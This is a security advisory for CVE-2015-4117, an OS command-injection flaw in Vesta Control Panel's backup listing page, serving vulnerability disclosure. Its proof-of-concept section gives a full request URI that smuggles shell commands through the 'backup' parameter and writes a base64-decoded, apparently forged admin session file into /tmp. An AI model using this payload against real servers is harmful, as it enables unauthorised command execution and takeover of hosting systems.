Vesta Control Panel 'index.php' OS Command Injection Vulnerability

BID:75264

Info

Vesta Control Panel 'index.php' OS Command Injection Vulnerability

Bugtraq ID: 75264
Class: Input Validation Error
CVE: CVE-2015-4117
Remote: Yes
Local: No
Published: Jun 17 2015 12:00AM
Updated: Jun 17 2015 12:00AM
Credit: High-Tech Brdge SA
Vulnerable: Vesta Control Panel 0.9.8-9
Vesta Control Panel 0.9.8-13
Vesta Control Panel 0.9.8-12
Vesta Control Panel 0.9.8-11
Vesta Control Panel 0.9.8-10
Not Vulnerable: Vesta Control Panel 0.9.8-14

Discussion

Vesta Control Panel 'index.php' OS Command Injection Vulnerability

Vesta Control Panel is prone to an OS command-injection vulnerability.

Successfully exploiting this issue may allow an attacker to execute arbitrary OS commands in the context of the affected application.

Exploit / POC

Vesta Control Panel 'index.php' OS Command Injection Vulnerability

The following example URI is available:

https://www.example.com/list/backup/index.php?backup=123%27%20||%20 echo 'V0VCX1NZU1RFTXxzOjc6ImFwYWNoZTIiO1dFQl9SR1JPVVBTfHM6ODoid3d3LWRhdGEiO1dFQl9QT1JUfHM6NDoiODA4MCI7V0VCX1NTTHxzOjc6Im1vZF9zc2wiO1dFQl9TU0xfUE9SVHxzOjQ6Ijg0NDMiO1BST1hZX1NZU1RFTXxzOjU6Im5naW54IjtQUk9YWV9QT1JUfHM6MjoiODAiO1BST1hZX1NTTF9QT1JUfHM6MzoiNDQzIjtGVFBfU1lTVEVNfHM6NjoidnNmdHBkIjtNQUlMX1NZU1RFTXxzOjU6ImV4aW00IjtJTUFQX1NZU1RFTXxzOjc6ImRvdmVjb3QiO0FOVElWSVJVU19TWVNURU18czowOiIiO0FOVElTUEFNX1NZU1RFTXxzOjA6IiI7REJfU1lTVEVNfHM6NToibXlzcWwiO0ROU19TWVNURU18czo1OiJiaW5kOSI7U1RBVFNfU1lTVEVNfHM6MTc6IndlYmFsaXplcixhd3N0YXRzIjtCQUNLVVBfU1lTVEVNfHM6NToibG9jYWwiO0NST05fU1lTVEVNfHM6NDoiY3JvbiI7RElTS19RVU9UQXxzOjI6Im5vIjtGSVJFV0FMTF9TWVNURU18czo4OiJpcHRhYmxlcyI7RklSRVdBTExfRVhURU5TSU9OfHM6ODoiZmFpbDJiYW4iO1JFUE9TSVRPUll8czo1OiJjbW1udCI7VkVSU0lPTnxzOjU6IjAuOS44IjtMQU5HVUFHRXxzOjI6ImVuIjtsYW5ndWFnZXxzOjI6ImVuIjt1c2VyfHM6NToiYWRtaW4iO2JhY2t8czoxMToiL2xpc3QvdXNlci8iOw==' | base64 --decode > /tmp/sess_12345%20||%20echo%20\

Solution / Fix

Vesta Control Panel 'index.php' OS Command Injection Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

References

Vesta Control Panel 'index.php' OS Command Injection Vulnerability

References:

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